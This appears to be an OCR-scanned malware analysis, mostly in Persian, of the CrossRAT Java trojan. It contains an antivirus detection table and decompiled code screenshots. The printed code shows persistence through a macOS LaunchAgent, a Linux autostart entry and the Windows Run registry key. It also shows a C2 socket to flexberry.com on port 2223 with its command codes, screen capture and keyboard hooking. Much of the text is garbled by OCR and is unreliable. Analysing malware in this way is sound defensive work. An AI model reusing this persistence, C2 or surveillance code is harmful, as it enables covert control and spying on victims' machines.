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Antivirus ‘ Result Update
Ad-Aware Trojan.Java.Agent. ALD 2018-2-16
AegisLab Backdoor.Java.Crossrat!c 2018-2-16

AhnLab-V3 JAVA/Trupto 2018-2-16
ALYac Backdoor.Java.CrossRAT 2018-2-16
Antiy-AVL Trojan/Win32.TGeneric 2018-2-16
Arcabit Trojan.Java.Agent. ALD 2018-2-16
Avast Java:Malware-gen [Trj] 2018-2-16
AVG Java:Malware-gen [Trj] 2018-2-16
Avira JAVA/Agent.eipee 2018-2-16
BitDefender Trojan.Java.Agent. ALD 2018-2-16
Bkav Wa32.JavaNVA.Worm 2018-2-16
CAT-QuickHeal Trojan.JAVA.Agent.5191 2018-2-16
Cyren Java/Agent.BGG 2018-2-16
DrWeb Java.CrossRat.1 2018-2-16
Emsisoft Trojan.Java.Agent.ALD (B) 2018-2-16
eScan Trojan.Java.Agent. ALD 2018-2-16
ESET-NOD32 Java/Trupto.A 2018-2-16
F-Prot Java/Agent.BGG 2018-2-16
F-Secure Trojan.Java.Agent. ALD 2018-2-16
Fortinet Java/Trupto.Altr 2018-2-16
GData Trojan.Java.Agent.ALD (2x) 2018-2-16
Ikarus Backdoor.Java.CrossRat 2018-2-16

Jiangmin Backdoor.Java.gl 2018-2-16
Kaspersky Backdoor.Java.CrossRAT.b 2018-2-16

MAX malware (ai score=97) 2018-2-16
McAfee RDN/Generic.dx 2018-2-16
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McAfee-GW-Edition Java/CrossRat 2018-2-16
Microsoft Trojan:Java/Trupto.A 2018-2-16
NANO-AnNtivirus Trojan.Java.CrossRAT.exmvuo 2018-2-16
Qihoo-360 virus.java.crossrat.1 2018-2-16
Rising Trojan.CrossRAT!1.B001 2018-2-16
(CLASSIC)
Sophos AV Java/Agent-AYAW 2018-2-16
Symantec Trojan.Maljava 2018-2-16
Tencent Java.Backdoor.Crossrat.Ebqt 2018-2-16
TrendMicro JAVA _CRAT.A 2018-2-16
ViRobot JAVA.S.Agent.222543 2018-2-16
Zillya Backdoor.CrossRAT.JS.1 2018-2-16
ZoneAlarm Backdoor.Java.CrossRAT.b 2018-2-16
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Sl ol 1-7
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.A.;SLSAC;‘%)%M

%2 client.class - Java Decompiler — [m} e
File Edit Mavigation Search Help
=& e
El 15af5bbf3cad5e 5db41fd 7e3d722e8b 247b40f 2da 747d 5c334f 7fda0b 7152649, zip &7
-] METAINF fab ciient.dass 53
import java.lio.InputStreamReader; ~
== crossrat import java.io.PrintStream;
- _?n a.class import java.net.InetAddress;
- b.class import java.net.Socket;
i} _?o c.olass Jl.mport :!a\.'a.net.URL;
BB Cient. class import java.net.URLDecoder;
- _%OE import java.security.CodeSource;
- —%" e.dlass import java.security.ProtectionDomain;
o %" fldass import java.util.UuID;
—%“ ' import java.util.prefs.Preferences;
t- b 0.class
" . .
H-fup h.dlass public class client
¢ fb i.class =
I8 _?o j.dass public static woid main{String[] parami&rrayQ0fString)
b k.class = 1
= Eb org paramirray0fString = a.c.b();
+ ajafa Jjec oca Jjec = System.getProperty(loca jec = "java.lo.tmpdir");
Ob t 1 10b; t1 Syst tP ty(1 10b; t1 tmpd
[ jnativehook Object localObject2 = URLDecoder.decode(localObject2 = client.class.getProtectionDom:
localObject2 = new File((String)localObject2);
KK =
if (paramArray0Ofstring.al) == a.c.a)
=] {
k.K = localObjectl + "\\";
H
else if (paramirray0fsString.a() == a.c.b)
=] {
paramirray0fString = System.getProperty("user.home");
k.K = paramfrray0fString + "/Library/";
'
else
e i
k.K = "fusr/fvar/";
H
paramarray0fstring = new File(k.K + "mediamgrs.jar");
try
=] {
Ara a3 3 a3k affEi1aVlAralNhGart+? naramiArrauECHrinal .
v
< >
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public class client
i
public static woid main(String[] paramArrayC0fstring)
{
paramArray0fstring = a.c.bi);
Object localObjectl = System.getProperty(localObjectl = "java.ic.tmpdir");
Object localObject2 = URLDecoder.decode(localObject2 = client.class.getProtectionDomain().getCod
localObject? = new File{(String)localObject);

KK = "
if (paramArray0fstring.al) == a.c.a)
{
k.K = localObjectl + "™\\";
T
else if (paramirray0fstring.al) == a.c.b)
{
paramArraydfstring = System.getProperty("user.home");
k.K = paramArray0Ofstring + “/Library/";
s
else
i
k.K = "fusr/fvar/";
T

paramirraydfstring = new File(k.K + "mediamgrs.jar");
oy Lads aalsl o Sldas (pl) aoo = r:[?;j‘ I, 6B ul oldase Jule o £93 A a5 b o

(0 d»lgs colo

try
i
org.a.a.a.b.a((File)localObject?, paramirray0fstring);
H
catch (Exception localExceptionl)
i
(localObjectl = localExcepticnl).printStackTrace();
H

Object localObjectd;
Object localObject5;
try
i
paramirray0fstring = 1;
localObjectd = paramArrayQfstring.toString();
paramfrray0fstring = "mediamgrs";
if ((localObjectS = @.c.b()).al() == a.c.a) {
parami&rray0fString = new b.e{parambirray0fString, (String)localObjectd, true);
} else if (((a.a)localObject5).a() == @.c.b) {
parami&rray0fstring = new b.c(paramArray0fstring, (String)localObjectd, true);
} else if ((((a.a)localObjects).d()) && (l!GraphicsEnvironment.getlocalGraphicsEnvironment()
parami&rray0fString = new b.d{paramiArray0fstring, (String)localObjectd, true);
} else if (((a.a)localObjects).d()) {
paramirray0fstring = new b.b{paramirray0fstring, (String)localObjectd, true);
} else {
throw new RuntimeException("Unknown operating system " + ((@.a)localObjects).c());
¥
paramArray0fstring.al);
H
catch (Exception localException2)
1
{localObjectl = localException2).printStackTrace();
H
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public static a b()
{
int k = 1;
Object localObjectl = null;
if (g == null)
{
a.a.b localb,
if {(localb = crossrat.e.a({true)) != null) {
localObjectl = new a.a.a(localb);
¥
int m;
c localcl;
if (((m = 1) != @ ? System.getProperty(“os.name").tolowerCase().contains((localel = c).i[@8]) : @)) {
localObjectl = new g(crossrat.e.d());
+
if (a.c.a.a(true)) {
localCbjectl = new a.c.b();
¥
int n;
c localci;
if (((n = 1) != @ ? System.getProperty(“os.name").tolowerCase().contains((locale2 = a).i[@8]) : @)) {
localObjectl = new a.e.al);
+
int i1;
Object localObject?;
if ((i1 = 1) != @)

string[] array0fstring;
int i3 = (array0fString = (localObject? = d).i).length;
for (int 12 = @; 12 ¢ i3; i2++) {
localObject? = array0fString[i2];
¥
i
if ((System.getProperty(“ocs.name").toLowerCase().contains(({Charsequence)localCbject2) 2 1 : @) != 8) {
localObjectl = new a.d.a();

+
if (localObjectl == null) {

10
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public static b a()
i
String str = System.getProperty(“os.arch");
b[] array0fb;
int j = (array0fb = values()).length;
for (dnt 1 = @; 1 < J; di++)

1

o

localbl;
b localb?;
String[] array0fstring;
int m = {array0fstring = (localb2 = localbl = array0fb[i]).g).length;
for {int k = 8; k < m} k++)
{
localb2 = array0fstring[k];
if (str.equalsIgnoreCase(localb2)) {
return localbl,

h

o

h
by

return d;

¥
0 S (Ggaing 3l pme) Jole s a3 3l 65 580 Slellbl uname —a jgiws sl>! L CrossRAT
S

public static String c()
i
String str = null;
try
i
localObject = Runtime.getRuntime().exec{new String[] { “"uname", "-a" });
str = (localObject = new BufferedReaderi{new InputStreamReader(((Process)localObject).getInputStream()))).readline();
{{BufferedReader)localObject).closel);
¥
catch (Exception localException)
i
Object localObject;
(localObject = localException).printStackTrace();
}

return str;

BB G2l bas 0l o oolatnl S Jole pivns 380 avud aid gl py oS ashd Cooren
&S oo S |, Slelbsl /usr/bin/sw_vers

11
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public final class a

i

public static boolean aiboolean paramBoolean)

i

Object localObject = new File("/usr/bin/sw_vers");
try
i
Iterator locallterator = (localObject = e.a((File)localObject)).iterator();
while (locallterator.hasNext()) {
if ((localObject = (String)ilocallterator.next()).containsi{c.b.al())) {
return true;

T
T
¥
catch (Exception localException)
i
{localObject = localException).printStackTrace();
H

if (paramBoolean) {
return ((localObject = System.getProperty("ocs.name").tolowerCase()).contains("mac o=

h

return false;

x|

12
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w1y ogxjar bl cass wed 1zl Wlgn Se Jole piasw 6,)I385,L ,L ja 50 aSol lp 8lay ()
oo > Mediamgrs.plist ob & L8 SO s 9 05,5 S Users/user/Library/mediamgrs.jar/ ,u.s

e gd oo |y 5 laime b1 9,0 5 00,5 ol Library/LaunchAgents/~

oS alS olie 5 (o K5) 0l olaws ol a8 wls xml glo Ll IS 4y g ksl plist sla b
odlyz 6,5,k loj 53 Jolo s Jansgh ol 53 e ;5 Lo B (pl ol (oo W3 b la ST (g0
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java —jar /Users/user/Library/mediamgrs.jar
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1% c.class - Java Decompiler - u} X
File Edit Navigation Search Help
=@ | o
(0 15afSbbf3cadse sdb41fd7c3d722e80247b40f 2da747d5C33467d80b7 158649, 2p 53
g VERIE | D st it dhocessd [ ddesstt b edassi
&b private static File b() ~
@-fy adass ||| T
S String str = System.getProperty(“user.home");
e e if (((z.c.b().a() != a.c.a) 3& (new new Inputst Runtime.getRuntime().exec("whoami”).getInputStream())) . readline() .equals(“root™)) 2 1 : @) !
jan SS
: str B
(- fp doclass X
£y e.dass . .
o . return new File(str + “/Library/Launchigents/");
crossra '
- org
public final void a()
= 1{
e if (1a().exists()) {
b() . miairs();
H
Object localObject = new File(b(), this.p = *.plist")
(localObject = new PrintWriter(new FileWriter((File)localObject))).println(“<plist version=\"1.81">");
((PrintWriter)localObject).println("<dict>");
((Printwriter)localObject).println(“\t<key>Label</key>");
((PrintWriter)localObject).println("\t<string>" + this.b + "</string>");
((PrintWriter)localObject).println(*\tckey>Programirguments</key>");
((Printuiriter)localObject).println(*\tearray>");
if (this.a)
e {
((PrintWriter)localObject).println{*\t\t<stringsjavac/string>"
((PrintWriter)localObject).println(*\t\t<strings-jar</string>*);
H
((PrintWriter)localObject).println("\t\t<string>” + this.c + "</string>");
((Printuriter)localobject).println("\te/array>");
((Printuriter)localobject).println("\tckey>RunitLoad</key>");
((PrintWriter)localObject).println(“\tctrue/>");
((Printuriter)localObject).println(™
((PrintWriter)localObject).println("</plists");
((Printuiriter)localobject).close();
s
H v
< >

un’”’ L 6}@“‘0 2—-3-7

GIAEL L e o ] g Bl sl autostart L G 5l S eid Jole pees (sl CrossRAT
50 ele pcew a5 5 ls WS'eid o (g laslinl sl autostart gl LB oS o colainl Jole i

oo 0 o Bl oS o Ll 1 s ol o ol aaS Sl jgiws g enles |y b T wglasl ol L e
g days (oo 00b SO s o |, mediamgrs.desktop bl lisla ol .aiyls Ll)8 /config/autostart /~

o el e ks JIE L Coled jo 5 S e S UsH/var/mediamgrs.jar] e ;o 1) 893>

Exex=java —jar /usr/var/mediamgrs.jar

g 1>l Jale (o slalely Jb o o 158l jar L ogls

1% duclass - Java Decompiler - u} X
File Edit Navigation Search Help
=@ | o
(0 15afSbbf3cadse sdb41fd7c3d722e80247b40f 2da747d5C33467d80b7 158649, 2p 53
g VETAINE || ) adass 2l fybcassil fpcdassii A ddassIl | f) edass 5
w00 a
&b public final class d ~
f adass || | extends 2
[Ty bodass || . . . . .
= public d(String paramStringl, String paramString2, boolean paramBoolean)
fi) c.cas:
s e
e claes super(paramstringl, paramString2, paramBeclean);
() crossrat
&~ org private static File b()
String str = System.getProperty(“user.home");
return new File(str + "/.config/autostart/");
s
public final void a()
= i
e if (1p().exists()) {
b().mketirs();
H
Object localObject = new File(p(), this.p + “.desktop");
(localObject = new Printriter(new FileWriter((File)localObject))).println(“[Desktop Enmtry]");
((Printwriter)localobject).println("Type=Application”);
((PrintWriter)localObject).println(“Hame=" + this.b);
e if (this.a) {
((PrintWriter)localObject).println(“Exec=java -jar '* + this.c + "'");
8 } else {
((PrintWriter)localObject).println("Exec=" + this.c);
¥
((Printuriter)localobject).println("Terminal=Ffalse");
((PrintWriter)localObject).println("NoDisplay=true*);
((PrintWriter)localObject).close();
localObject = mew String[] { "chmod®, "+x*, this.c };
Runtime.getRuntime().exec( (String[])localObject);
s
H
v
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javaw.exe —jar ,giws a5 63,5 olu| HKCU\Software\Microsoft\Windows\CurrentVersion\Run

&S oo Lzl Jele gt 12! L e 4o |, mediamgrs. jar

1% e.class - Java Decompiler

- o x
File Edit Navigation Search Help
=R ARGkl
S- 15af5bbf3c8dSe5db41fd7c3d722e8b247b40f2da747d5c 334 7fd80b7 15649, zip &3
g PETAIE || fpadesit pbdasil lpcdssil fddasiy fedesit
package b; -

public final class e
extends a

public e(String paramStringl, String paramString2, boolean paramBoolean)

S org , super(paranStringl, paramString?, paramgoolean);

public final void a()

String str;

if (this.a)

i
str = System.getProperty(“java.home®) + "\\bin\\Javaw.exe";
str o= str o+ * -jar \"* + this.c + "\

¥

else

{

str = this.g;

Runtime.getRuntime().exec(new String[] { "reg”, “add", "HKCU\\Software\\Microsoft\\Windows\\CurremtVersion\\Rum\\*, "/v", this.b, "/t*, "REG_SI", "/d", str, "/f" });

15
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for (;;)
{
try
{
Socket localSocket;
(localSocket = new Socket(k.b, k.c)).setSoTimeout(1l20608);
k.k = localSocket;
(paramirray0fString = new DataOutputStream(leocalSocket.getOutputStream())).writeBytes(k.g + k.d + k.w + k.d + e.b
BufferedReader localBufferedReader = new BufferedReader(new InputStreamReader(localSocket.getInputStream()));
PrintStream localPrintStream = new PrintStream(localSocket.getOutputStream(), true);

S oo Jloyl jo e a1y 5 Slaseie gy 4 Jlail 5o l58l

Jole piaw o6 1
&5 el 3
Host ob 4

localObjectl = System.getProperty(“os.name");

localObject? = System.getProperty(“os.version”);

paramArray0fstring = System.getProperty(“user.name");

Object localObject3 = (localObject3 = InetAddress.getlocalHost()).getHostName();

2 e byd baug 1) 55 5l oael &l jgiws 810 g b bLS,I 6518 9 S g b 5L 5 e
&—J‘)?MQ o c«a‘ﬁ 45)9L> uLo.Cb) &£ &° L_s'"j?‘)s ‘) L5.4[:> Ao ¢ yghwd &9; 4 d>gs l; 9 oo; \S:)- -
(s Gl K wllS (9,0 ol all) & jg0 @

try
{
paramiérray0fString = paramérray0fString = localBufferedReader.readline();
try
{
if ((localObjectd4 = paramirray0fString.split("\ww" + k.d))[@].equals(k.m))
{
new g();
e.a();
(localObjects = new £()).start();
continue;
+
if (localObjectd4[@].equals(k.n))
{
(paramirray0fString = new c(localObjectd4[1])).start();
continue;
¥
if (localObject4[@].equals(k.o))
{
(paramfrray0fString = new a(localObjectd4[1])).start();
continue;
¥
if (localObjectd4[®].equals(k.p))
{
(parambrray0fString = new b(localObject4[1], localObjectd4[2])).start();
continue;
}
if (localObject4[@].equals(k.q))
{
(paramirray0fstring = new h{localObjectd4[1], localObject4[2])).start();
continue;

16
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public fimal class k
{

public static boolean a = false;

public static String b = "flexberry.com";

public static int c = 2223;

public static String d = "&x#@";

public static String e = "~1@";

public static UUID +;

public static String g;

public static Preferences h;

public static String i = "8.1";
public static String j = "GROUPZ";
public static Socket k;
public static Socket 1;
public static String m = "@@e08";
public static String n = "@eeel”;
public static String o = "@B882";
public static String p = "@@e083";
public static String q = "@eeeq4";
public static String r = "@B885";
public static String s = "@BE86";
public static String t = "@eee7’";

u
v

public static String = "@BB83";
public static String = "@PR60";
public static String w = "@eeee";
public static String x = "@B@81";
public static String vy = "@8082";
public static String z = "@BE83";
public static String A = "@B884";
public static String B = "@@@e5";
public static String C = "@B886";
public static String D = "@B@87";
public static String E = "@@@@s";
public static String F = "@@eed";
public static String G = "@@ele";
public static String H = "@@al1l1";
public static String I = "@B812";
public static String 1 = "@@813";
public static String K;

il 02223 900 &g g flexberry.com g oyol 048 oo sanlice a5 jeb len

3 el e o Slas fizmen g 158l 4 95w Jawgs Jlo)l B Sl jgis Cad oS JelST sy 5

el ool 35 Jgo
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private static void a(File paramFilel, File paramFile2, boolean paramBoolean)
{
if ({paramFile2.exists()) && (paramFilelZ.isDirectory())) {
throw new IOException("Destination '" + paramFile2 +

exists but is a directory");

¥
FileInputStream localFileInputStream = null;
FileOutputStream localFileQutputStream = null;
FileChannel localFileChannell = null;
FileChannel localFileChannel? = null;
try
{
localFileInputStream = new FileInputStream(paramFilel);
localFileQutputStream = new FileQutputStream(paramFile2);
localFileChannell = lecalFileInputStream.getChannel();
localFileChannel2 = localFileQutputStream.getChannel();
11 = localFileChannell.size();
long 15;
for (12 = @L; 12 < 11; 12 += 15)
1
long 14;
long 13 = (14 = 11 - 12) » 3145728@L ? 3145728@L : 14;
if ((15 = localFileChannell.transferfrom(localFileChannell, 12, 13)) == @L) {
break;

}

I e

.a(new Closeable[] { localFileChannel2, localFileOutputStream, localFileChannell, lecalFileInputStream });
¥
finally
{
g.a(new Closeable[] { localFileChannel2, localFileOutputStream, localFileChannell, localFileInputStream });
¥
long 11 = paramFilel.length();
long 12 = paramFile2.length();
if (11 12) {
throw new IOException("Failed to copy full contents from '" + paramFilel + "' to '" + paramFile2 + "' Expected length: " + 11 + " Actual: ™ + 12);
3
if (paramBoolean) {
paramFilel.setlastModified(paramFilel.lastModified());
¥
¥

SN0 (5395 919 (999 (5995 #1D SV (G190 (98 ) (W W0 257

private static void c(File paramFilel, File paramFilel)
1
paramFilel = 1;
paramFile? = paramFileZ;
paramFilel = paramFilel;
boolean bool = true;
paramFilel = null;
paramFile2 = paramFilel;
paramFilel = paramFilel;
d(paramFilel, paramFilel);
if (!paramFilel.isDirectory()) {

throw new IOException("Source '" + paramFilel + "' exists but is not a directory");
i
if (paramFilel.getCanocnicalPath().equals(paramFile2.getCancnicalPath())) {

throw new IOException("Scurce '™ + paramFilel + "' and destination '™ + paramFile2 + "' are the same");
¥

Arraylist localérraylist = null;
File[] array0fFile;
if ({paramFileZ.getCanonicalPath().startsWith(paramFilel.getCanonicalPath())) && ({array0fFile = paramFilel.listFiles()) != null) && (arrayOf
{
localfrraylist = new Arraylist(arrayOfFile.length);
int i = {arrayOfFile = array0OfFile).length;
for {int § = 8; J < 1; Jj++)
{
File localFile = array0fFile[i];
localFile = new File(paramFile2, localFile.getName());
localfrraylist.add(localFile.getCanonicalPath());
¥

al(paramFilel, paramFileZ, null, bool, localArraylist);

H
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private static void b(File paramFile)

{

if (!paramFile.exists()) {

return;
b
Object lecalObjectl =
if (localObjectl == null)

paramFile;

i

throw new MullPointerException("File must not be null"};

¥
Object localObject?;

if (((File)localObjectl).getParent() == null)

localObject? =
H
else
1
localObject2 =
localObject? =
b
if (!({localObjectl =
if ((({(File)localObject2)
ciparamFile);

¥
if (!paramFile.delete())
1

paramFile =

"Unable to delete directory " + paramFile +

localObjectl;

{(File)localObjectl).getParentFile().getCanonicalFile();
new File((File)localObject2, ((File)localObjectl).getName());

localObjectl).exists()) {}
.getCanonicalFile().equals((({File)localObject?).getdbsoluteFile()) * & :

throw new IOException(paramfile);

¥
H

private static void c(File paramFile)

i

H

File localFile = paramFile;
Object localObject2;
if (!paramFile.exists())

localObject? = localFile + " does not exist";

throw new IllegalArgumentException((String)localObject2);
¥
if (!localFile.isDirectory())
{

localObject2 = localFile + " is not a directory”;

throw new IllegalArgumentException(({String)localObject2);

¥
if ({localObject2 =
throw new IQException(

paramFile = (File)localObject?;
Object localObjectl = null;
for {localFile : paramFile) {
try
if ({localFile = localFile).isDirectory())
b{localFile);
H
else
{
boolean bool =
if (!localFile
{
if (!bool) {
throw new FileNotFoundException(
H
localObjectl = "Unable to delete file: ™
throw new IQException((5tring)localObjectl);
H

localFile.exists();
.delete())

H
catch (IOException locallQException)

localObjectl =
H

localObjectl = locallQException;

¥
if (localObjectl != null) {

throw {{Throwable)localObjectl);
H

20
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localFile.listFiles()) == null) {
"Failed to list contents of " + localFile);

"File does not exist: " + localFile);

+ localFile;
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public static woid b(File paramFilel, File paramFile2)

{
if (!paramFilel.exists()) {
throw new FileMotFoundException("Source '" + paramFilel + "' does not exist");
]
if (!paramFilel.isDirectory()) {
throw new IOException("Source '™ + paramFilel + "' iz not a directory”);
¥
if (paramFile2.exists()) {
throw new a("Destination '" + paramFile2 + "' already exists");
H

boolean bool;
if {!({bool = paramFilel.renameTo(paramFile2)))

{
if (paramFile2.getCanonicalPath().startsWith(paramFilel.getCanonicalPath() + File.separator)) {
throw new IOException("Cannct move directory: " + paramFilel + “ to a subdirectory of itself: " + paramFile2);
c(paramFilel, paramFile2);
b(paramFilel};
if (paramFilel.exists()) {
throw new IOException("Failed to delete original directory '" + paramFilel + "' after copy to '" + paramFile2 + "'");
H
]

}

scereenshot (i o5 Wi 6—7

=S5 0 &l Ll 5l oo S sbul eels 0008 [ giws sl astine l38las Main w5l as b len
g 48,8 WSe )5 azis l dol> o Adlg javaawt bulis” 5l eolawl b WS cpl g8 oo CrOssrat

OWGQQBL])BJMMMQJ\)LSJ‘WM@or}o&b&ugjé‘)ujw

[“# j.class - Java Decompiler — [m| X
File Edit Mavigation Search Help

=l R ke )

El 15af5bbf3c8d5e 5db41fd 7c3d722e8b247b40f2da 747d5c334f 7fdB30b 7 152649, zip &3

- META-INF

public final void run()
e {
System.setProperty("java.awt.headless", "false");
o, dient.dass Obqect lncalobqectl = null;
"__G dient ?JJECt localObjectl;
ry

localObjectl = new Robot().createScreenCapture(new Rectangle(Toolkit.getDefaultToolki

H
catch (HeadlessException localHeadlessException)
e i
(localObject? = localHeadlessException).printStackTrace();
H

catch (AWTException local&WTException)

(localCbject2 = localAWTException).printStackTrace();

int 1 = (localObject? = new Random{)).nextInt(5@8888) + 1;
File localFile = new File(k.K + Integer.toString(i) + “.jpeg");
try
a i
ImageI0.write((RenderedImage)localObjectl, “"jpg", localFile);
localObjectl = Long.valuedF({localFile.length{));
al(localFile.tostring(), ((Long)localCObjectl).toString());
localFile.delete();
return;

catch (ICException locallQException)

(localObjectl = locallOException).printStackTrace();
H
H
H
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public final wveoid run()
{
File localFile = new File(this.a);
a lecala = c.b();
DatalutputStream localDatalutputStream = null;
Object localObject;
try
{
localDataOutputStream = new DataCutputStream(k.k.getOutputStream());
H
catch (Exception localExceptionl)
{
{localObject = localExceptionl).printStackTrace();
]
if (localFile.exists()) {
if (locala.al) == c.a) {
try
{
Runtime.getRuntime().exec(new String[] { “rundll32", "url.dll,FileProtocclHandler”, localFile.getAbsolutePath() });
H
catch (IQOException locallQExceptionl)
{
(localObject = locallQExceptionl).printStackTrace();
H

Jole it a5 (5590 50 5580 a8l jaig )l Jele w45 010 0 )87 Sl UL Dlorbgs
LS oo oolainl b 6l >l (sl Desktop.getDesktop().open() s ;1 el jeaig e )18

} else if ((locala.al) == c.b) || (lecala.al) == c.c)) {
try

i
Desktop.getDesktop().open(localFile);

]
catch (IQException locallOException2)

i
(localObject = locallOException).printStackTrace();

¥
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2 GlobalScreenSMativeHookThread.class - Java Decompiler - O X
File Edit Mavigation Search Help
- R ARG

|f| 15af5bbf3c8d5e5db41fd7c3d722e8b247h40f2da747d 5c334f 7fd80b 7155649, zip 52

-0 META-INE Jm_?p GlobalScreen$MativeHookThread. dass &3

package org.jnativehook; ~
E‘E% org class GlobalScreen$NativeHookThread
-7 afafa extends Thread
B[ jnativehook e

private ¢ a;

public GlobalScreen%NativeHookThread()

) setName( " INativeHook Hook Thread"™);
o t..larwln setDaemon(false);
(] Iln.ux setPriority(1@);
[ windows 3
Elfg_?p %IobalScreen.dass public void run()
-4 GlobalScreen e {
E]---{.I_?p a.dass this.a = null;
E]---fﬁ'p b.dass try
EJ-"@ c.dass = 1
EJ"'J:“_?p d.dass enable();
[ € class 1
catch (c localc)
e {
this.a = localc;
H
synchronized (this)
e {
notifyall();
return;
H
H
public final ¢ a()
= 1
return this.a;
< > H v
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